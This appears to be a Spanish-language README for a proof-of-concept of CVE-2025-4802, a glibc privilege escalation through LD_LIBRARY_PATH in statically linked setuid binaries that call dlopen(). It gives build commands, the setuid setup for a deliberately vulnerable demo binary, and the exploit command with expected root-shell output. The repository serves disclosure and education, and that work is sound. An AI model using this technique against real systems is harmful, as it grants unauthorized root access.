
Prueba de concepto para un binario compilado estáticamente setuid vulnerable a dlopen con LD_LIBRARY_PATH
⚠️ Aviso: Este repositorio es solo para fines educativos y de investigación de seguridad autorizados. No use este exploit contra sistemas que no posea o para los que no tenga permiso explícito para probar. El uso indebido puede violar leyes y regulaciones.
| Campo | Detalles |
|---|---|
| CVE ID | CVE-2025-4802 |
| Software Afectado | GNU C Library (glibc) |
| Versiones Afectadas | 2.27 – 2.38 |
| Tipo de Vulnerabilidad | Escalada de Privilegios mediante LD_LIBRARY_PATH no confiable |
| Vector de Ataque | Local |
Una vulnerabilidad en la Biblioteca C de GNU (glibc) versiones 2.27 a 2.38 permite a un atacante explotar la variable de entorno LD_LIBRARY_PATH en binarios setuid compilados estáticamente que llaman a dlopen().
Normalmente, el enlazador dinámico sanitiza LD_LIBRARY_PATH para programas setuid. Sin embargo, los binarios compilados estáticamente omiten por completo el enlazador dinámico, por lo que LD_LIBRARY_PATH nunca se limpia. Cuando dicho binario llama a dlopen() (directamente o indirectamente a través de setlocale() o funciones NSS como getaddrinfo()), glibc resuelve las bibliotecas compartidas utilizando la LD_LIBRARY_PATH controlada por el atacante, lo que permite la ejecución de código arbitrario con privilegios elevados.
dlopen("myso.so", ...) para cargar un objeto compartido por nombre (no una ruta absoluta).ld-linux.so) nunca se ejecuta, por lo que LD_LIBRARY_PATH no se sanitiza.myso.so) que exporta el mismo símbolo hello() pero genera un shell root.LD_LIBRARY_PATH para que apunte al directorio que contiene la biblioteca maliciosa..
├── main.c # Código fuente del binario setuid vulnerable
├── myso.c # Objeto compartido legítimo (seguro)
├── evil_library/
│ └── evilso.c # Objeto compartido malicioso (genera shell root)
├── proof_of_concept_screenshot.png # Captura de pantalla del terminal del exploit
├── proof_of_concept_video.mp4 # Video explicativo
├── Makefile # Automatización de compilación
└── README.md
ldd --version)gcc, makemake all
O manualmente:
# Compilar el objeto compartido legítimo
gcc -shared -o myso.so -fPIC myso.c
# Compilar el binario vulnerable (enlazado estáticamente)
gcc -static -o main main.c -ldl
# Compilar el objeto compartido malicioso
gcc -shared -o evil_library/myso.so -fPIC evil_library/evilso.c
sudo chown root:root main
sudo chmod u+s main
./main
Salida esperada:
BEGINNING OF MAIN
Hello from the safe shared object!
END OF MAIN
LD_LIBRARY_PATH (comportamiento malicioso)LD_LIBRARY_PATH=./evil_library ./main
Salida esperada:
BEGINNING OF MAIN
I'm evil now
EXEC TO ROOT SHELL
# whoami
root

También hay un video explicativo disponible: proof_of_concept_video.mp4
dlopen()dlopen() en lugar de nombres de biblioteca simplesdlopen()